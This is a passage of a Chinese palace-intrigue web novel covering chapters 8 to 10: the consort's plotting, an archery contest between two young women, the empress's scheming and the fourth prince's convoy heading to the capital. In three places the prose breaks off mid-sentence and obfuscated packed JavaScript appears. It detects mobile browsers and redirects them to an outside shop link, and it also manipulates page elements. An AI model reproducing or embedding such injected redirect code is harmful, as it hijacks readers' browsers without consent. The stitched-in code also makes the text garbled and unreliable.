李尚宫命宫人们收好手串,恭敬回道:“那奴才就先回去向贵妃娘娘复命了。” “李尚宫,代本宫向贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李尚宫笑道:“国公夫人好眼力,正是大胡那边的,容嫔娘娘说这些都是七殿下寄过来的。” 贵妃听到说是刘昶寄过来的,命端着手串的宫人离她近些,她好仔细看看。 温国公夫人见手串旁边还有一个小盒子,好奇地打开看,只见盒子里面是一块发光石做的无事牌。温国公夫人取出这枚无事牌,注意到无事牌上面镌刻着一个“安”字,雕刻工艺粗糙,远不如其他宝石的雕工,便放到了一边。 贵妃注意到这枚无事牌,拿到手中翻看着,细细摩挲着上面刻的字,感觉像是四皇子刘茂的字迹。 贵妃想着李尚宫的话,这是七皇子从前线寄过来的大胡的东西,又想到陛下身边的吴善辅说七皇子刘昶深入敌军而获得的大捷,这么看来茂儿已经见过昶儿了。那这枚无事牌就是茂儿在给自己传话呢。 贵妃不禁想到,数月前,二皇子刘仲为贵妃带来四皇子刘茂的消息,贵妃他们的计谋:四皇子会率大胡军队逼近永州边境,意图为他回京造势布局。当时贵妃还觉得此举有些冒险,不想如今已然成功了。 贵妃了然于心,欣慰一笑,道:“容嫔和七皇子有心了,不枉本宫这些年对她们母子二人的关照。” 贵妃将无事牌放好,道:“听说她前段时间小产后身子还没恢复,改日本宫亲去她宫中探望她。” 温国公夫人不解道:“娘娘您是贵妃,怎可屈尊降贵亲自去探望一个小小的嫔位呢?” 贵妃淡然一笑,拍着温国公夫人的手道:“都在宫中侍奉陛下,皆是宫中姐妹,况且她又与我们都是覃州人,理应互相照顾扶持。” 温国公夫人听后,若有所思地点点头。 8. 回京(八)志向高远 刘宁带着温嘉诚来到了射箭场,命宫人拿来了她途径漳州时得到的一张弓,向温嘉诚显摆道:“嘉诚,我近来新得了一把好弓,你来试试。” 因刘宁喜欢射箭,又得承道帝宠爱,承道帝特地给刘宁建了射箭场。 刘宁把她新得的弓递给温嘉诚,温嘉诚接过,从箭笼中取箭、搭箭,瞄着箭靶中心,拉满弓。 箭矢嗖的一声,朝着箭靶飞去。 旁边的小宫人高声报了分数:“十环!” 温嘉诚微微扬起下巴,看着射中的十环,笑着把弓递给了刘宁,说道:“果真是把上好的弓。” 刘宁得意地接过弓,满眼骄傲地看着手中的弓道:“不枉我跑了六百里把它带回来。”说罢,挽弓搭箭,瞄着温嘉诚射出去的那只箭就射了过去。 刘宁射出的箭落在了温嘉诚那只箭的旁边,刘宁见状脸瞬间拉了下来,盯着箭靶默不做声。 旁边的小宫人看到后不敢报分数,只垂手侍立在一旁。 温嘉诚看到结果,看了眼刘宁的神情,笑着走向刘宁,打趣道:“看来殿下还没驯服这张弓啊,不如交给我,我先替殿下调教着。”说罢,温嘉诚佯装去拿。 还不等温嘉诚的手碰到弓,刘宁便把弓往身后一藏,笑道:“你休想,别打量着我不知道你在想什么,你心里的如意算盘我可清楚得很。” 刘宁不服输道:“我们再比试一次,我就不信我赢不了你。” 温嘉诚掩嘴一笑,转身随手拿起一张弓,挽弓搭箭,又是一个十环。 温嘉诚回头得意地看着刘宁,看她还有什么话可说。 刘宁边说边溜,耍赖道:“我前几日舟车劳顿,都没休息好,待我歇上几日,再与你比试。” 温嘉诚转身快走几步,拦在刘宁面前,笑着打趣道:“你就说你服不服?” 刘宁哼笑一声,扬起脑袋,神秘兮兮道:“若论这射箭,我唯一服的就只有一个人。” 刘宁故弄玄虚道:“倘若你能赢他,我从此对你心服口服。” “走啦,我们骑马去。”刘宁把手中的弓交给旁边宫人,拉着温嘉诚就要去试试马。 温嘉诚被刘宁勾起了好奇与胜欲,到底是怎样一个人,能让眼睛长到天上的五皇女刘宁如此心服口服呢? 于是温嘉诚追上刘宁问道:“你这么说,我倒是有些好奇那个人是谁了,要和他比上一场了。” 刘宁勒着缰绳,脚踩马镫,跨上马,一扬马鞭,回头笑着对温嘉诚喊道:“你若能追上我,我便告诉你。” 温嘉诚的好胜心升起,上马紧紧追着刘宁。 俩人赛了几圈后,觉得有些疲惫,停下后随意找了块草地躺着歇息。 温嘉诚躺在草地上望着天空,喘着气问刘宁:“你还没说,能让你心服口服的那个人是谁呢。” 刘宁翻过身,侧躺着看向温嘉诚,骄傲地笑道:“我哥哥。” 温嘉诚也侧躺着和刘宁面对面,听后微微蹙眉,思索片刻,犹豫地试探着问道:“是四殿下?” 刘宁笑着点头道:“哥哥箭术当属天下第一!” 温嘉诚听后哈哈大笑,不禁打趣道:“我说怎么天色变暗了,原来是阿宁的牛皮吹上了天!” “切。”刘宁听到后轻轻推了温嘉诚一下,而后又笑着凑了上去,道:“当日天下第一箭术的薛与归,曾亲自指导过哥哥,把他的毕生所学都教给了哥哥,如今薛与归不在了,我哥哥可不就是天下第一了吗?” 刘宁傲娇道:“这天下第一的哥哥指导过我,那我不就是天下第二了吗?” “哦~。”温嘉诚一副恍然大悟的样子,“原来是师出同门啊,若按阿宁这么说的话,我也能算得上是天下第一。” “你?怎么,那薛与归也教过你吗?”刘宁疑惑问道,并不是很信温嘉诚说的,只以为温嘉诚是逗她呢。 温嘉诚笑着点头。 刘宁得知薛与归教过温嘉诚后,脸上带了些许愠色,他竟然敢欺君! 当年,承道帝为四皇子刘茂和五皇女刘宁找射艺师傅,因听闻薛与归箭术天下第一,便把他招到宫中教导刘茂和刘宁二人箭术。却不想这薛与归坚决不收女弟子,承道帝没办法,只得依他。 刘宁知道欺君的罪名有多大,环顾四周后,低声问道:“这薛与归不是不收女弟子吗?当初父皇亲自问过他的。” 温嘉诚低声道:“他原是我们温国公府的门客,我们府上于他有恩,他这才破例教导我的。” “难怪你箭术一直在我之上。”刘宁可惜地摇头,喃喃道,忽的又好奇这薛与归的箭术到底多强,问道:“传闻这薛与归箭术天下第一,可百里之中取敌方首级,这到底是不是真的?” 温嘉诚摇头道:“我觉得有些夸大了,不过百步穿杨还是有的。” 刘宁道:“那你说,薛与归这一身的本领,怎么不去报国参军?” 刘宁顿觉有些惋惜,道:“若当年永州那一战他参军的话,想必我们大江也不会惨败,我哥哥也不会去大胡当质子了。” 温嘉诚知道些当年的内情,但事关朝局,不敢对刘宁多言,因此随口胡诌道:“薛先生是个洒脱不羁的人,想必是受不了军营的那些规矩。” 温嘉诚听家里人提过当年那一仗,听说是因为皇后和晋国公担心四皇子会夺了太子之位,因此精心设计了这么一场败仗,为的就是让承道帝交出四皇子。 要不然胡人怎么会仅用五天的时间,就从永州边境一路南下兵临京师呢? 只是为了太子之位,就能舍弃了数十万将士的生命,置国家安危于不顾吗?那一战,是大江的耻辱,也是万千将士们的耻辱。 想到这,温嘉诚恨恨道:“我倒是想去战场上闯一闯,为国收复故土,祭拜万千将士们的亡魂。来日拜将封侯,为家族增添荣光。 “只可惜我是女儿身,空有一番本领,却上不了战场,无法出将入相。”温嘉诚平躺在草地上,落寞地看着高高的天空。 “你想去领兵打仗做个将军?”刘宁听后十分不解,军营有什么好的,条件艰苦不说,还随时有送命的风险,但看到温嘉诚神情落寞哀愁,轻拍着温嘉诚的肩膀劝解道:“军营的生活很是艰苦,我前几日刚从永州回来,就见识到了。而且在边境,局势瞬息万变,更是每天都在随时丢掉性命的风险之中啊!” 温嘉诚听后潇洒笑道:“我温家世代守在北方边境,永州边境、漳州边境我都随父辈待过,能为国家抛头颅洒热血,那是我的荣耀,我又有何惧?” 刘宁看着面前地温嘉诚,内心大受震撼。她原以为温嘉诚同自己一样,是个矜贵的小女子,却没想到温嘉诚有这么大的抱负。 刘宁目不转睛地看着温嘉诚,发自内心地佩服她,真挚地说道:“你是我唯一佩服的。” 温嘉诚听后潇洒大笑,随即不忘打趣刘宁:“若论起来,阿宁还得叫我一声师姐呢。” “也不用叫什么师姐,你、我、哥哥我们都爱骑射,不如……不如你来做我嫂嫂,这样我们就是一家人了,我定要同你好好的打上一场。你倒是就不用像现在这样,怕我皇女的身份而畏手畏脚了。”刘宁笑着打趣道。 “殿下!”温嘉诚面上带着愠色看着刘宁。 刘宁见温嘉诚有些恼了,忙道歉求温嘉诚原谅。 一提到永州边境,刘宁便想起了那个江八郎,不由得好奇问道:“嘉诚,你在永州边境待过,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274205|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知你对军中将领可了解多少?” 刘宁之前虽对江八郎有些感激之情,可在回京的途中,却越想越不对劲。明明自己还未曾亮明腰牌,这江八郎只听了自己简单几句话,便给自己松绑,不知是早就得知了自己的身份还是常听信于人。 不论是那种情况,只怕都会对哥哥的回来产生不利,要提前打听明白才是,别在哥哥即将回来的时候暗中使绊子。 温嘉诚听后一脸玩味地看向刘宁,笑道:“不曾想阿宁去了次永州,倒春心萌动了,不知你要打听谁?” 刘宁听后有些许生气,轻轻推了温嘉诚一下,旋即将脸扭了过去。 温嘉诚打圆场道:“好啦好啦,我开个玩笑,你可别恼啊。近几年父亲调任回京,虽说有些将领我也对不上名字,不过还是少数,你要问谁你说就是了。” 刘宁与温嘉诚自小便是闺中密友,自是不甚介意,况且刘宁还有求于温嘉诚,随即附在温嘉诚的耳边悄声说道:“永济城驻军的一个小将,叫江八郎。” “你不知道他?”温嘉诚顿了顿,脸上带了些狐疑,见刘宁一脸疑惑确实不知的样子,而后故作玄虚道:“这江八郎我倒是曾听说过,只不过这人身份绝密。” 温嘉诚随即摇着脑袋道:“不能说不能说。” “好姐姐,你就悄悄地告诉我吧,我保证,不告诉别人。”刘宁摇着温嘉诚的胳膊央求道。 温嘉诚小心谨慎地环顾四周,低声笑着说:“以国号为姓,又在家中排行第八,又是年纪轻轻的驻边将军,满天下除了他只怕没有第二个了。” 温嘉诚见刘宁还是有些迷惑不解,笑道:“这不就是七殿下吗?” “是他?!” “原来是这个臭小子。”刘宁有些惊讶,没想到大半年未见,七弟人长高了不少,人也黑了,她竟没认出来。虽知道边关条件艰苦,但没想到七弟变化这么大,人都看着沧桑了不少,随即刘宁心中后悔,早知道便多送些粮草了。 温嘉诚抬头看天,只见太阳西沉天色渐晚,边站起身拍着身上的灰土,边说道:“呀,天都这么晚了,不知母亲等了我多久,我们先回去吧。” 刘宁见状也站起身来,边走还边有一搭没一搭地闲聊。 温嘉诚道:“改日,我下拜帖,邀你去我们温国公府玩耍,再叫上开国公的孙女李淑华、王太傅的孙女王润蕾,大家一起热闹热闹。” 刘宁一听到这两个人,忙摆手道:“还是算了吧,我可不敢与开国公他们家扯上什么关系,省得惹得一身臊。” “前几年宫宴上,那开国公家的长孙对大姐姐一见钟情,宴席结束后便求着他的祖母——开国公老夫人,老夫人溺爱这个孙子,便进宫找皇后牵线搭桥,撮合他与大姐姐。” “几番周折下去,眼看就要成了,不想开国公家的老夫人病逝,你猜怎么着?那长孙竟在这三年家孝期间悄悄收了个通房!” “如此不敬不孝之辈,京中那些有女儿的人家得知此事后,便都鲜少与开国公来往了,生怕会被这种人缠上,自然他家的小姐们也鲜少有人邀约玩耍,也就你还敢邀她了。” 温嘉诚刚至京中不久,不甚清楚其中的原由,再加上与李淑华年纪相仿,又同为国公府的小姐,倒也有些往来,如今听了刘宁说的这些,忙摇头叹气道:“那算了,不邀她了。” 刘宁笑道:“还有那王太傅的孙女,见谁都一副眼高于顶的样子,我最讨厌她了。与其同她玩,不如邀上舅舅家的兰馨妹妹,虽然年幼,但性格好,我们一同玩耍岂不快哉。” 温嘉诚听后笑道:“不曾想其中还有这么多故事呢。那便听你的。” 二人嬉笑玩闹着,牵着马一起慢慢回宫去了。 9. 回京(九)鹬蚌相争 入夜,贵妃一想到从温国公夫人口中得知晋国公极有可能会阻碍刘茂回来,就难以入睡,先下手为强后下手遭殃,不如主动出击,把晋国公拉下来,让茂儿顺利回京。 翻来覆去间,贵妃唤来李尚宫:“李尚宫,备墨。” 李尚宫铺好纸笔,疑惑地问道:“娘娘,这是?” 贵妃并不理会,提笔后迟疑片刻,思忖半晌,迟迟未落笔,待墨滴到纸上,才回过神来,又欲下笔时,还是有些犹豫,一番思索后还是把笔放下了。 贵妃随即便命李尚宫撤下笔墨,对李尚宫说道:“既然我们能抓到晋国公的把柄,想必别人也能抓住。眼下正是我茂儿回来的关键时刻,我们的一举一动都会别人盯着。若我们出手弹劾晋国公,陛下定会生疑,疑心我们此举与太子有关。 贵妃叹了口气道:“若真到了那时,对我们将是大不利。” 李尚宫笑着向贵妃献计:“朝中大臣对二殿下多有称赞,称他贤良,赞他公正,想来二殿下也能查到晋国公的这些罪证,娘娘何不静观其变,再等等看?” 贵妃笑着看了眼李尚宫,踱步到床前,赞许道:“不错,我们现在要做的,就是等。” “我记得老二身边有个姓钱的门客。”贵妃顿了顿,对李尚宫道:“明日你亲自出宫去,透露些许消息给这个门客。” “是。”李尚宫扶着贵妃躺下,为贵妃掖好被子。 贵妃心情大好,道:“鹬蚌相争渔翁得利,本宫何不做这渔翁?等着太子和二皇子斗去吧,他们斗得越狠,我们越会得利,最好斗个你死我活。” 承道帝身边的吴善辅到来皇后的长秋宫中宣读承道帝的口谕:“娘娘,四殿下不日便将回宫,陛下命您亲自筹备四殿下的接风宴。” “什么?”皇后病了几日,她现在才知道贵妃的四皇子要回京了,皇后惊讶,眉头微蹙,问道:“怎么现在才来告诉本宫?” “皇后娘娘病了几日,陛下和贵妃娘娘特意交代了,不让来打扰娘娘静养。”吴善辅依旧笑着。 皇后病的这几日,后宫的事务由贵妃代持,永安公主和容嫔从旁协助。 容嫔前不久小产后便一直病殃殃的,管不了事;永安公主又一直以承道帝后宫嫔妃皆是她的长辈为由,也从未管过。因此这几日一直是贵妃在代执后权管理六宫。 如今自己身为皇后一国之母,竟被她瞒得滴水不漏,若不是吴善辅来通传,只怕自己还会被蒙在鼓里呢。皇后又想起二十年前,二人刚入宫时情同姐妹,后又同时有孕,贵妃为了后位、太子之位,不顾她们的姐妹情谊,竟在宫道上洒水,害得她跌落步撵继而早产,还伤了身体伺候再也不能有孕。 想到这些,皇后心中便对贵妃恨得牙痒痒,咬牙切齿道:“你去回陛下吧,本宫即刻便开始准备。” 待吴善辅走后,皇后想了片刻,还是决定要和晋国公商量拦截四皇子回京的事。 虽说自十二年前永州战败后,她受了些陛下的冷落,她父亲老国公也抑郁而亡,她兄长承袭爵位后也从此一蹶不振,但她们晋国公府已经屹立不倒许多年了,况且兄长的儿子蔡桐如今还代父驻守北方边境的永州,说到底,陛下还是看中晋国公府的。 区区个齐国公府和贵妃,也想来争?即便是加上四皇子和五皇女,那也是在做梦! 皇后命人传来晋国公,不待晋国公坐下便问道:“兄长,你可听说了四皇子回京这事?” 皇后传唤的着急,晋国公又起得晚,还未用饭就来了长秋宫,因此晋国公边吃着桌旁的点心,边心不在焉的回道。“陛下不早就有意于四皇子回京吗?” 不愧是宫里的吃食,确实要比国公府的吃得美味,晋国公桌前的点心吃差不多了,他又盯上了皇后面前的点心。 皇后没注意到晋国公的神情,注意力全在四皇子刘茂回京这件事上,心中盘算着,开口问道:“之前陛下虽有这个心,可都被朝臣们给驳了。怎么现如今又提起了?朝堂之上难道无一人阻拦吗?” 晋国公站起身,行至皇后案前,端起了皇后身边的点心,边吃边说道:“就前几天的事儿,陛下在早朝的时候,就有意让四皇子回京了。” 皇后身边的蔡尚宫看到晋国公不顾礼法,吃上了皇后桌前的点心,目瞪口呆,看了皇后一眼,犹豫片刻,制止道:“国舅爷,这不合……” 蔡尚宫话还没说完,就被晋国公冷冷地瞪了一眼。 皇后现在心思全在刘茂回京这事上,即便晋国公此举不合规矩,也默许了晋国公这个举动,便伸手制止了蔡尚宫,示意晋国公继续说下去。 晋国公满不在乎地回道:“七皇子大捷,陛下已派了英王去谈判,如今已和大胡谈妥,想来不日就要回京了吧。” 皇后听后情绪激动怒问,很是不满,道:“那你们怎么不在朝堂上多拦着点儿?” “娘娘,四皇子在大胡数十年,朝中哪里还有什么根基?即便是回来,又能有什么用呢?”晋国公回道:“太子殿下已早早被陛下立了储君,这天下已尽在太子手中,娘娘,您还有什么可担心的?” 晋国公笑着安慰皇后道:“您实在是多虑了。” “住嘴!这些话也是你能说的?“皇后听后大惊失色,天下还是陛下的天下,虽说她也是这么想的,可兄长怎么就说出来了呢?情急之下,抓起盘中的点心朝晋国公掷去,怒道:“吃着东西还堵不上你的嘴!” 晋国公自知失言,为自己找补道:“臣倒是想拦,可是臣也拦不住呀。” 晋国公常年告假不参与早朝,对朝中局势并不大清楚,他也是听太子说是蔡桐因贪功冒进而误入风沙迷路,这才给了胡人可乘之机。 如果让皇后知道了是蔡桐误入风沙迷路,给了七皇子大破胡人的机会,从而才有了后来英王和谈、四皇子回京的一系列事情,少不得又要被皇后骂一顿,对皇后的病情不利。 因此晋国公一时语塞,不知道该怎么说,想了想,最终长叹一声。“哎呀!” 晋国公安慰皇后:“娘娘,车到山前必有路,船到桥头自然直,您实在无需担心。” “说到底还不是你们没用。”皇后扶额苦思,刘茂回京了也好,至少在自己眼皮子底下,一举一动自己都能知晓。 皇后思定,暗中握紧了拳头:“四皇子在胡人那里做质子十二年,不知陛下心中是怎么想的,也不知他刘茂还有没有继位的可能,倘若有,那便留不得他了。” 弄了半天,原来皇后心里担心这个,晋国公不由得松了口气,嗤笑一声道:“娘娘,您担心的这个绝无可能。” 皇后冷哼一声,不满道:“哥哥总是这样自信满满。” 虽说皇后也同晋国公想的一样,认为太子登基是板上钉钉的事,但万事皆可变,皇后时常担心会出变故。 从前,承道帝嫌弃二皇子刘仲的母亲是个洗脚婢,视刘仲为人生的耻辱,万分地不待见刘仲,及冠之后连个王爵也没封。 即便当初再不待见刘仲,如今还不是对他委以重任?以至于如今还隐隐有与太子分庭抗礼的趋势,这让皇后如何能不慌? 晋国公凑到皇后面前,低声说道:“娘娘知道陛下最讨厌什么吗?陛下最讨厌的就是娶外族女子为妻,尤其是这胡人女子。可这四皇子已娶了大胡的公主,因此陛下是绝对不会考虑四皇子即位的,所以说娘娘这担心都是多余的。” “四皇子娶了胡人的公主?”皇后大惊,随即不满地抱怨:“这事儿本宫怎么都不知道?哥哥也从未不告诉我。” 晋国公无所谓地摆摆手道:“这事儿有什么可说的?娘娘素日这么忙,这种东家长西家短的小事就不必叨扰娘娘了。” “你……”皇后被气得一时语塞,旋即长叹了一口气,无语道:“罢了,你先回去吧,等四皇子回京后,还有的忙呢。” 皇后被晋国公气得失语,头更痛,因此也不管晋国公,说完便扭头就回内殿歇着了,蔡尚宫也跟着皇后去了内殿。 晋国公对此见怪不怪,一副习以为常的样子,唤来皇后宫中的宫人,指着近前的点心说:“这个我吃着还不错,给我打包了。” 宫人无奈地包着茶点果子,心想皇后娘娘这么威严的一个人,怎么会有晋国公这样不着调的娘家人。 随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274206|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晋国公又指着皇后座前的点心说:“那个也还行,一并打包了。” 宫人有些错愕,这是皇家专用,未经娘娘允许,她不敢随意处置,因此说道:“国舅爷稍等,待奴婢问过蔡尚宫后再……” 晋国公一脸不耐烦地从宫人手中抢过雕花的食盒,自顾自地装盘打包好,就连皇后扔到地上的点心,他也小心地捡起来,吹吹上面沾地灰,小心翼翼地放下。 堂堂的国舅爷,怎么……宫人们面面相觑,满脸的不可置信。 晋国公并不理会宫人们异样的表情,收拾好点心后便提着食盒出门,刚出了长秋宫门,便撞到了前来向皇后请安的太子。 太子刚从永安公主处得知了父皇命母后承办四弟的接风宴,担心母后会在接风宴上使绊子,特地从大姐姐的福康宫赶过来劝说皇后。 太子见到晋国公,微微欠身,招呼道:“舅舅。” 晋国公见是太子,对太子叮嘱道:“太子殿下来了。如今你贵为太子,你一定要上敬尊长,下……下……” 晋国公想了想,觉得这话若从自己嘴里说出来有些僭越,遂止住,摇头晃脑准备开溜:“后面的我就不多说了,自有陛下和英王殿下教导你。我先回去了。” “舅舅慢走。” 太子送别晋国公,来内殿见皇后,只见皇后卸去了钗环,歪在塌上,太子跪下一拜道:“儿臣拜见母后。” 皇后倚坐着,语气有些虚弱地说道:“起来吧。” 太子起身,上前扶住皇后,急切地问道:“母后这是怎么了?” “不碍事。”皇后摆手道,“听陛下近前的吴善辅说,四皇子快要从大胡那边儿回来了,你怎么打算?” 太子回道:“四弟回来是早晚的事。现在回来的正时时候,还能帮着儿子一起处理解决下栾南的事情,况且父皇也希望看到我们兄友弟恭的景象。” 皇后听后冷笑一声,嘲讽道:“兄友弟恭?” 皇后看了太子一眼,随即开口道:“陛下倒是兄友弟恭,却让诚王的野心膨胀至此。” 栾南是承道帝一母同胞的弟弟诚王的封地,是藩王中最大的一块封地。承道帝一登基,便给弟弟封了诚王,并免去了诚王每年的进贡朝税,甚至收取的赋税也不必上交朝廷,怎么不算兄友弟恭呢? 太后薨逝,办了国丧后国库空虚,朝臣提议让栾南上交赋税,诚王得知后将提议的大臣暴走一顿,之后便大摇大摆地回栾南去了,并每年还以各种各样的理由向朝廷要赈灾的银两,不是今年蝗灾,就是前年水涝,要不就是大前年的干旱,理由多得很。 国库早就入不敷出了,太子自监国后对此总是苦不堪言。 “母后不必担心,父皇早已为儿臣安排妥当。” 如今京中的三大国公,晋国公、齐国公和温国公,其中晋国公是皇后的母家,一心向着太子。齐国公一直与晋国公不大对付,常与太子唱反调。 温国公夫人是贵妃的胞妹,虽说温国公府与齐国公府有姻亲,但温国公在朝堂上不偏不倚,说话做事圆滑老练,深得承道帝信赖。 “父皇特意将温国公从北方边境的漳州调回京,为的就是辅佐儿臣。” “倘若四弟回京后能与儿臣共进退,安分守己,那这齐国公也能为儿臣所用。将来君臣拧成一股绳,大家力往一处使,何愁不能兴盛我大江朝呢?” “既然你心中已经有了决定,母后就不多干预了。”皇后听完太子陈述,明白太子心中所想,沉思片刻后说道:“那母后就安心筹备四皇子的接风宴了。” 太子听到皇后这么说,遂松了口气,道:“母后深明大义。” 皇后担心太子监国事务繁忙,待太子侍奉她喝完汤药后,就让太子回去了。 待身体好些后,皇后便开始着手准备接风宴了,她要让京中的人都看着,都看着她是如何拿出一国之母的气度来筹办这一场接风宴的。 皇后抬眼看向蔡尚宫,问道:“他们到哪儿了?” 蔡尚宫答:“世子来信,如今只怕是在宿城吧。” 皇后看了蔡尚宫一眼,狐疑问道:“宿城?” 10. 回京(十)归京之路 宿城官道上,迎四皇子回京的车队浩浩汤汤。 回京途中,因四皇妃还朝刚有三个月的身孕多有不适,英王刘元身子又不好受不了舟车劳顿之苦,回京的车队便走走停停,快马加鞭两三天的回京路,车队已经陆陆续续走了快五天了。 七皇子刘昶和晋国公世子蔡桐骑马伴在英王刘元的马车旁,与英王刘元闲聊着。 刘昶注意前方四皇子刘茂的马车停下,同刘元和蔡桐招呼一声,便骑马赶到四皇子的马车旁。 刘昶问道:“四哥四嫂,怎么了?” 刘茂仔细照料着怀有身孕的妻子还朝,对着车外的刘昶说道:“你嫂嫂觉得坐马车有点晕,我们便先停下缓一缓。” 刘昶听后,拿出地图递给刘茂看:“四哥,我们现在走的是宿城的官道,是回京最近的一条道,路途有些颠簸。若要坐车舒适些,得绕道颖州,只是要再慢上一两日。” 刘昶看了眼蔡桐的动向,见蔡桐正骑马往这边来,忙靠近四皇子的马车低声说道:“四哥,颖州是晋国公的封地,我和大哥哥怕途中会出岔子,才选了从宿城过,待顺利抵达京城后就会舒适很多,四哥四嫂还是多忍耐些吧。” 蔡桐骑马过来,一脸探究地问道:“七殿下,是四殿下和四皇妃身体不适吗?” 车内的刘茂和还朝听后对视一眼,随即刘茂掀开车帘对蔡桐说道:“无妨,继续赶路吧。” 刘茂说罢便放下了帘子,没给蔡桐一个好脸色。 蔡桐并不在意,见刘茂不想多说,便问旁边的刘昶:“七殿下,想是这段路崎岖颠簸,不如往东去颖州,那边道路平坦,坐车上会舒服些。” 蔡桐笑着对着四皇子的马车说道:“听闻四皇妃这是第一次来我们大江,不如去颖州多待些时日,也好让四皇妃见识见识颖州的风土人情啊!” 刘茂冷冷道:“不必了,抓紧时间赶路吧。” 蔡桐依旧不死心,劝说道:“将士们也都累了饿了,待到颖州后,我让族人们拿出好酒好肉招待下众将士们,岂不美哉?” 蔡桐瞥见周边将士期待的神情,旋即挑衅地看向刘茂的马车,道:“四殿下——” 刘昶听出了蔡桐话中的意思,想借着将士们的期待把四哥架起来,挑拨四哥与随行将士们之间的关系,用心真是阴险。 刘茂与刘昶从小关系就好,贵妃也因此对刘昶他们母子二人多有照顾,如今刘茂又带着他立下奇功,因此刘昶对他这个四哥刘茂是感激不禁。如今自然是不愿意见蔡桐对四哥和四嫂处处针对。有他在,是绝对不会让蔡桐得逞的。 刘昶出言拒绝道:“蔡世子,我们抓紧赶路吧,也好让将士们能早日和家人们团聚。” 蔡桐勒着缰绳,绕着刘昶转了一圈,上下扫视了眼刘昶,冷哼一声,充满了不屑。 蔡桐身为晋国公世子,太子的左膀右臂,又从小在皇后身边长大,为人张狂倨傲,向来只有他教训别人的份儿,没有别人拒绝他的份儿。 等太子登基后,他蔡桐就是手握重病的权臣重臣,谁的风头能盖过他?如今一个七皇子,又算得了什么东西? 刘昶被蔡桐的举动激得有些恼了,他知道蔡桐与太子关系,他知道自己人微言轻,从前在永济的时候便对这蔡桐处处忍让,要什么给什么,就算是蔡桐找他要三千的精骑他也没有拒绝,甚至是蔡桐在克扣永济的军饷时也由着蔡桐。 可万万没想到蔡桐越来越变本加厉,竟然还想着左右四哥的决定!蔡桐还真拿自己当盘菜啊!若不是看在太子的面子上,谁会服他! 刘昶眼眸微眯,手也慢慢地摸向了腰间的佩刀,眼神中充满杀气。 刘昶带来的士兵见上司都如此阵仗,也纷纷严阵以待,况且他们早就对蔡桐心生不满,都等着七皇子刘昶一声令下将蔡桐大卸八块,以解被蔡桐克扣军需之苦。 蔡桐被刘昶的眼神吓了一跳,但他此时已是骑虎难下,若他此时退缩了,在四皇子和七皇子这里吃了瘪,下面的人会怎么想他?再说了,他是太子的人,这七皇子刘昶怎么敢动他呢? 因此蔡桐并不慌,反而嗤笑一声,头一歪,轻蔑地看着刘昶。 刘茂在马车内也时刻注意着车外的情形,七弟和蔡桐之间本就有些矛盾,如今又因为他冲突加剧,若蔡桐再多挑衅一句,七弟便会手起刀落,到那时事情就不好收场了,七弟的功勋也会因此消散,只怕他回来也无济于事了。 不行,事情由他而起,还得由他去平息。大不了就是绕道颖州多待上几天。即便颖州蔡氏再怎么权倾朝野,料定蔡氏也不敢对三位皇子同时灭口。想到这,刘茂摸了摸胸口,打定主意,欲掀起车窗的帘子说和,就听到了不远处传来的声音,刘茂收回了手,继续仔细听着外面的动静,静待其变。 “世子!”蔡桐的手下从英王刘元的马车处一路小跑着过来,不过在感受到剑拔弩张的气氛后,谨慎地观察着周围,小心翼翼地靠近蔡桐,轻声说道:“世子,英王殿下该喝药了。” 蔡桐听后,心中窃喜,正好可以借着这个由头暂且脱身,待他回到京城,再让太子与皇后姑姑处理这四皇子和七皇子也不迟。 蔡桐面上仍摆出一副轻蔑的神情,瞪了七皇子刘昶一眼后,就骑马扬长而去了。 蔡桐的手下见状也忙抡着两条腿快跑,跟在蔡桐马后,生怕跑慢一步,刀就挨到自己身上了。 刘昶隐约听到一些,听着像是与大哥哥刘元相关,他心中不放心,和刘茂打过招呼后便也朝着刘元的马车赶去了。 蔡桐刚赶到刘元马车前十步的距离,就见到刘元的近侍挽袖端着喝剩的药渣要去倒掉。 “慢着——”蔡桐叫住挽袖,旋即下马,翻看着刘元喝剩的药渣。前几日皇后特意交代过他,要他盯着英王一顿不落把药喝尽。前几日他在忙着找四皇子刘茂的茬儿,没太在意过这个病秧子英王,如今他在四皇子那里碰了壁,倒是有了闲心想起了这档子事儿。 挽袖见蔡桐在仔细地翻看着英王的药渣,不把英王放在眼里,于是冷着脸剜了一眼蔡桐,语气冰冷地道:“世子已看过一遍,可以放心地让奴才去倒这药渣了吧?若世子还是不放心,下次还请亲自为殿下煎药。” 蔡桐听后,将手中药罐的盖子随手一甩,恶狠狠地瞪着挽袖,冷笑一声道:“我不过是关心英王殿下的身体。怎的?我还不能关心了吗?” 挽袖白了蔡桐一眼道:“若世子真关心英王殿下,不如快些赶路,让英王殿下快些到京城,少受些舟车劳顿之苦。” “你这婢子好没规矩,我今天就替英王殿下好好教训教训你。”蔡桐来了脾气,扬起手中的马鞭朝着挽袖身上抽去。 挽袖虽然害怕,但担心自己躲避会摔了英王的药罐,为了护住药罐,便没有躲开,直愣愣地站在原地,硬生生挨了蔡桐一鞭子,但蔡桐这一鞭子力道大,挽袖痛得摔了下去,终究还是没护住,药罐子也摔在地上,碎成了两半,药渣也撒了一地。 